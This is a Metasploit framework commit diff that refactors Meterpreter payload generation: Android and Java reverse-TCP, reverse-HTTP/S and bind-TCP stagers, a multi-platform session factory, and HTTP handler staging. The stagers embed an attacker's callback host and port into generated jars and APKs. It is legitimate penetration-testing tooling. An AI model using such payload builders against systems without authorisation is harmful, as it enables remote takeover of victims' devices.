Land #7634, Implement universal HTTP/S handlers for Meterpreter payloads
commit
fa016de78a
|
@ -0,0 +1,50 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-independent meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_Multi < Msf::Sessions::Meterpreter
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'multi'
|
||||
self.base_arch = ARCH_ANY
|
||||
end
|
||||
|
||||
def self.create_session(rstream, opts={})
|
||||
# TODO: fill in more cases here
|
||||
case opts[:payload_uuid].platform
|
||||
when 'python'
|
||||
require 'msf/base/sessions/meterpreter_python'
|
||||
return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts)
|
||||
when 'java'
|
||||
require 'msf/base/sessions/meterpreter_java'
|
||||
return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)
|
||||
when 'android'
|
||||
require 'msf/base/sessions/meterpreter_android'
|
||||
return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
|
||||
when 'php'
|
||||
require 'msf/base/sessions/meterpreter_php'
|
||||
return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)
|
||||
when 'windows'
|
||||
if opts[:payload_uuid].arch == ARCH_X86
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts)
|
||||
end
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts)
|
||||
end
|
||||
|
||||
# TODO: what should we do when we get here?
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -67,9 +67,7 @@ module MeterpreterOptions
|
|||
end
|
||||
|
||||
if session.platform == 'android'
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
session.load_android
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
|
|
|
@ -323,7 +323,7 @@ module Msf
|
|||
multi_handler.datastore['PAYLOAD'] = payload_name
|
||||
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
|
||||
|
||||
%w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc
|
||||
%w(DebugOptions PrependMigrate PrependMigrateProc
|
||||
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
|
||||
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
|
||||
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
|
||||
|
|
|
@ -199,7 +199,14 @@ protected
|
|||
# allocate a new session.
|
||||
if (self.session)
|
||||
begin
|
||||
s = self.session.new(conn, opts)
|
||||
# if there's a create_session method then use it, as this
|
||||
# can form a factory for arb session types based on the
|
||||
# payload.
|
||||
if self.session.respond_to?('create_session')
|
||||
s = self.session.create_session(conn, opts)
|
||||
else
|
||||
s = self.session.new(conn, opts)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
# We just wanna show and log the error, not trying to swallow it.
|
||||
print_error("#{e.class} #{e.message}")
|
||||
|
|
|
@ -317,77 +317,31 @@ protected
|
|||
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
|
||||
resp.body = pkt.to_r
|
||||
|
||||
when :init_python
|
||||
print_status("Staging Python payload...")
|
||||
when :init_python, :init_native, :init_java
|
||||
# TODO: at some point we may normalise these three cases into just :init
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << self.generate_stage(
|
||||
http_url: url,
|
||||
http_user_agent: datastore['MeterpreterUserAgent'],
|
||||
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
|
||||
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
||||
when :init_java
|
||||
print_status("Staging Java payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = self.generate_stage(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
||||
when :init_native
|
||||
print_status("Staging Native payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
# Damn you, python! Ruining my perfect world!
|
||||
url += "\x00" unless uuid.arch == ARCH_PYTHON
|
||||
uri = URI(payload_uri(req) + conn_id)
|
||||
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
# TODO: does this have to happen just for windows, or can we set it for all?
|
||||
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
|
||||
|
||||
begin
|
||||
# generate the stage, but pass in the existing UUID and connection id so that
|
||||
# we don't get new ones generated.
|
||||
blob = self.generate_stage(
|
||||
uuid: uuid,
|
||||
uri: conn_id,
|
||||
url: url,
|
||||
uuid: uuid,
|
||||
lhost: uri.host,
|
||||
lport: uri.port
|
||||
lport: uri.port,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
|
||||
|
||||
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
|
@ -414,11 +368,14 @@ protected
|
|||
url = payload_uri(req) + conn_id
|
||||
url << '/' unless url[-1] == '/'
|
||||
|
||||
# Damn you, python! Ruining my perfect world!
|
||||
url += "\x00" unless uuid.arch == ARCH_PYTHON
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url + "\x00",
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
|
|
|
@ -536,4 +536,12 @@ class Msf::Module::Platform
|
|||
Rank = 100
|
||||
Alias = "mainframe"
|
||||
end
|
||||
|
||||
#
|
||||
# Multi (for wildcard-style platform functions)
|
||||
#
|
||||
class Multi < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "multi"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -32,6 +32,9 @@ class Payload < Msf::Module
|
|||
require 'msf/core/payload/firefox'
|
||||
require 'msf/core/payload/mainframe'
|
||||
|
||||
# Universal payload includes
|
||||
require 'msf/core/payload/multi'
|
||||
|
||||
##
|
||||
#
|
||||
# Payload types
|
||||
|
|
|
@ -24,41 +24,41 @@ module Msf::Payload::Android
|
|||
# We could compile the .class files with dx here
|
||||
#
|
||||
def generate_stage(opts={})
|
||||
''
|
||||
end
|
||||
|
||||
def generate_default_stage(opts={})
|
||||
''
|
||||
end
|
||||
|
||||
#
|
||||
# Used by stagers to construct the payload jar file as a String
|
||||
#
|
||||
def generate
|
||||
generate_jar.pack
|
||||
def generate(opts={})
|
||||
generate_jar(opts).pack
|
||||
end
|
||||
|
||||
def java_string(str)
|
||||
[str.length].pack("N") + str
|
||||
end
|
||||
|
||||
def apply_options(classes, opts)
|
||||
config = generate_config_bytes(opts)
|
||||
if opts[:stageless]
|
||||
config[0] = "\x01"
|
||||
end
|
||||
|
||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
end
|
||||
|
||||
def generate_config_bytes(opts={})
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)]
|
||||
transports: opts[:transport_config] || [transport_config(opts)]
|
||||
}
|
||||
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
config.to_b
|
||||
result = config.to_b
|
||||
|
||||
result[0] = "\x01" if opts[:stageless]
|
||||
result
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
|
@ -104,7 +104,8 @@ module Msf::Payload::Android
|
|||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
end
|
||||
|
||||
apply_options(classes, opts)
|
||||
config = generate_config(opts)
|
||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
files = [
|
||||
|
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Common loader for Android payloads that make use of Meterpreter.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Android::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Meterpreter & Configuration',
|
||||
'Description' => 'Android-specific meterpreter generation',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'PayloadCompat' => {'Convention' => 'http https'},
|
||||
'Stage' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts)
|
||||
end
|
||||
|
||||
def stage_meterpreter(opts={})
|
||||
clazz = 'androidpayload.stage.Meterpreter'
|
||||
metstage = MetasploitPayloads.read("android", "metstage.jar")
|
||||
met = MetasploitPayloads.read("android", "meterpreter.jar")
|
||||
|
||||
# Name of the class to load from the stage, the actual jar to load
|
||||
# it from, and then finally the meterpreter stage
|
||||
blocks = [
|
||||
java_string(clazz),
|
||||
java_string(metstage),
|
||||
java_string(met),
|
||||
java_string(generate_config(opts))
|
||||
]
|
||||
|
||||
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Android that speaks HTTP(S)
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Android::ReverseHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uri] ||= luri + generate_uri(opts)
|
||||
super(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
uri_req_len = ds['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/android/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Android that speaks HTTPS
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Android::ReverseHttps
|
||||
|
||||
include Msf::Payload::Android::ReverseHttp
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Android that speaks TCP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Android::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -4,7 +4,7 @@ require 'msf/core'
|
|||
module Msf::Payload::Java
|
||||
|
||||
#
|
||||
# Used by stages; all java stages need to define +@stage_class_files+ as an
|
||||
# Used by stages; all java stages need to define +stage_class_files+ as an
|
||||
# array of .class files located in data/java/
|
||||
#
|
||||
# The staging protocol expects any number of class files, each prepended
|
||||
|
@ -15,8 +15,12 @@ module Msf::Payload::Java
|
|||
# [ 32-bit null ]
|
||||
#
|
||||
def generate_stage(opts={})
|
||||
generate_default_stage(opts)
|
||||
end
|
||||
|
||||
def generate_default_stage(opts={})
|
||||
stage = ''
|
||||
@stage_class_files.each do |path|
|
||||
stage_class_files.each do |path|
|
||||
data = MetasploitPayloads.read('java', path)
|
||||
stage << [data.length, data].pack('NA*')
|
||||
end
|
||||
|
@ -28,15 +32,14 @@ module Msf::Payload::Java
|
|||
#
|
||||
# Used by stagers to construct the payload jar file as a String
|
||||
#
|
||||
def generate
|
||||
generate_jar.pack
|
||||
def generate(opts={})
|
||||
generate_jar(opts).pack
|
||||
end
|
||||
|
||||
#
|
||||
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
|
||||
# define a list of class files in @class_files which are pulled from the
|
||||
# MetasploitPayloads gem. The configuration file is created by
|
||||
# the payload's #config method.
|
||||
# define a list of class files from the class_files method. The
|
||||
# configuration file is created by the payload's #stager_config method.
|
||||
#
|
||||
# @option opts :main_class [String] the name of the Main-Class
|
||||
# attribute in the manifest. Defaults to "metasploit.Payload"
|
||||
|
@ -44,18 +47,18 @@ module Msf::Payload::Java
|
|||
# "metasploit" package name.
|
||||
# @return [Rex::Zip::Jar]
|
||||
def generate_jar(opts={})
|
||||
raise if not respond_to? :config
|
||||
raise if not respond_to? :stager_config
|
||||
# Allow changing the jar's Main Class in the manifest so wrappers
|
||||
# around metasploit.Payload will work.
|
||||
main_class = opts[:main_class] || "metasploit.Payload"
|
||||
|
||||
paths = [
|
||||
[ "metasploit", "Payload.class" ],
|
||||
] + @class_files
|
||||
] + class_files
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_sub("metasploit") if opts[:random]
|
||||
jar.add_file("metasploit.dat", config)
|
||||
jar.add_file("metasploit.dat", stager_config(opts))
|
||||
jar.add_files(paths, MetasploitPayloads.path('java'))
|
||||
jar.build_manifest(:main_class => main_class)
|
||||
|
||||
|
@ -71,7 +74,7 @@ module Msf::Payload::Java
|
|||
# web.xml. Defaults to random
|
||||
#
|
||||
def generate_war(opts={})
|
||||
raise if not respond_to? :config
|
||||
raise if not respond_to? :stager_config
|
||||
zip = Rex::Zip::Jar.new
|
||||
|
||||
web_xml = %q{<?xml version="1.0"?>
|
||||
|
@ -96,27 +99,26 @@ module Msf::Payload::Java
|
|||
paths = [
|
||||
[ "metasploit", "Payload.class" ],
|
||||
[ "metasploit", "PayloadServlet.class" ],
|
||||
] + @class_files
|
||||
] + class_files
|
||||
|
||||
zip.add_file('WEB-INF/', '')
|
||||
zip.add_file('WEB-INF/web.xml', web_xml)
|
||||
zip.add_file("WEB-INF/classes/", "")
|
||||
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
|
||||
zip.add_file("WEB-INF/classes/metasploit.dat", config)
|
||||
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts))
|
||||
|
||||
zip
|
||||
end
|
||||
|
||||
#
|
||||
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
|
||||
# Stagers define a list of class files in @class_files which are pulled
|
||||
# from the MetasploitPayloads gem. The configuration file is created by
|
||||
# the payload's #config method.
|
||||
# Stagers define a list of class files returned via class_files. The
|
||||
# configuration file is created by the payload's #stager_config method.
|
||||
#
|
||||
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
|
||||
# @return [Rex::Zip::Jar]
|
||||
def generate_axis2(opts={})
|
||||
raise if not respond_to? :config
|
||||
raise if not respond_to? :stager_config
|
||||
|
||||
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
||||
|
||||
|
@ -132,16 +134,26 @@ module Msf::Payload::Java
|
|||
paths = [
|
||||
[ 'metasploit', 'Payload.class' ],
|
||||
[ 'metasploit', 'PayloadServlet.class' ]
|
||||
] + @class_files
|
||||
] + class_files
|
||||
|
||||
zip = Rex::Zip::Jar.new
|
||||
zip.add_file('META-INF/', '')
|
||||
zip.add_file('META-INF/services.xml', services_xml)
|
||||
zip.add_files(paths, MetasploitPayloads.path('java'))
|
||||
zip.add_file('metasploit.dat', config)
|
||||
zip.add_file('metasploit.dat', stager_config(opts))
|
||||
zip.build_manifest(:app_name => app_name)
|
||||
|
||||
zip
|
||||
end
|
||||
|
||||
# Default to no extra class files
|
||||
def class_files
|
||||
[]
|
||||
end
|
||||
|
||||
# Default to no extra stage class files
|
||||
def stage_class_files
|
||||
[]
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Java that speaks TCP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::BindTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register Java reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
|
||||
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate configuration that is to be included in the stager.
|
||||
#
|
||||
def stager_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
spawn = ds["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = ds["AESPassword"] || ''
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
end
|
||||
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
def class_files
|
||||
# TODO: we should handle opts in class_files as well
|
||||
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
|
||||
[
|
||||
["metasploit", "AESEncryption.class"],
|
||||
]
|
||||
else
|
||||
[]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,102 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for Java payloads that make use of Meterpreter.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Java Meterpreter & Configuration',
|
||||
'Description' => 'Java-specific meterpreter generation',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' => {'Convention' => 'http https'},
|
||||
'Stage' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Override the Payload::Java version so we can load a prebuilt jar to be
|
||||
# used as the final stage; calls super to get the intermediate stager.
|
||||
#
|
||||
def stage_meterpreter(opts={})
|
||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
|
||||
config = generate_config(opts)
|
||||
|
||||
# All of the dependencies to create a jar loader, followed by the length
|
||||
# of the jar and the jar itself, then the config
|
||||
blocks = [
|
||||
generate_default_stage(opts),
|
||||
[met.length, met].pack('NA*'),
|
||||
[config.length, config].pack('NA*')
|
||||
]
|
||||
|
||||
# Deliberate off by 1 here. The call to super adds a null terminator
|
||||
# so we would add 1 for the null terminate and remove one for the call
|
||||
# to super.
|
||||
block_count = blocks.length + stage_class_files.length
|
||||
|
||||
# Pack all the magic together
|
||||
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: opts[:transport_config] || [transport_config(opts)]
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
def stage_class_files
|
||||
# Order matters. Classes can only reference classes that have already
|
||||
# been sent. The last .class must implement Stage, i.e. have a start()
|
||||
# method.
|
||||
#
|
||||
# The Meterpreter.class stage is just a jar loader, not really anything
|
||||
# to do with meterpreter specifically. This payload should eventually
|
||||
# be replaced with an actual meterpreter stage so we don't have to send
|
||||
# a second jar.
|
||||
[
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
|
||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
|
||||
# Must be last!
|
||||
[ "javapayload", "stage", "Meterpreter.class" ],
|
||||
]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,94 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Java that speaks HTTP(S)
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::ReverseHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register Java reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
|
||||
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
uri_req_len = ds['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate configuration that is to be included in the stager.
|
||||
#
|
||||
def stager_config(opts={})
|
||||
uri = generate_uri(opts)
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
c = ''
|
||||
c << "Spawn=#{ds["Spawn"] || 2}\n"
|
||||
c << "URL=#{scheme}://#{ds['LHOST']}"
|
||||
c << ":#{ds['LPORT']}" if ds['LPORT']
|
||||
c << luri
|
||||
c << uri
|
||||
c << "\n"
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
#
|
||||
# Scheme defaults to http
|
||||
#
|
||||
def scheme
|
||||
'http'
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/java/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Java that speaks HTTPS
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::ReverseHttps
|
||||
|
||||
include Msf::Payload::Java::ReverseHttp
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Override the scheme so that it has https instead of http
|
||||
#
|
||||
def scheme
|
||||
'https'
|
||||
end
|
||||
|
||||
#
|
||||
# Override class_files to include the trust manager
|
||||
#
|
||||
def class_files
|
||||
[
|
||||
["metasploit", "PayloadTrustManager.class"]
|
||||
]
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Java that speaks TCP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register Java reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
|
||||
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate configuration that is to be included in the stager.
|
||||
#
|
||||
def stager_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
spawn = ds["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = ds["AESPassword"] || ''
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
end
|
||||
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||
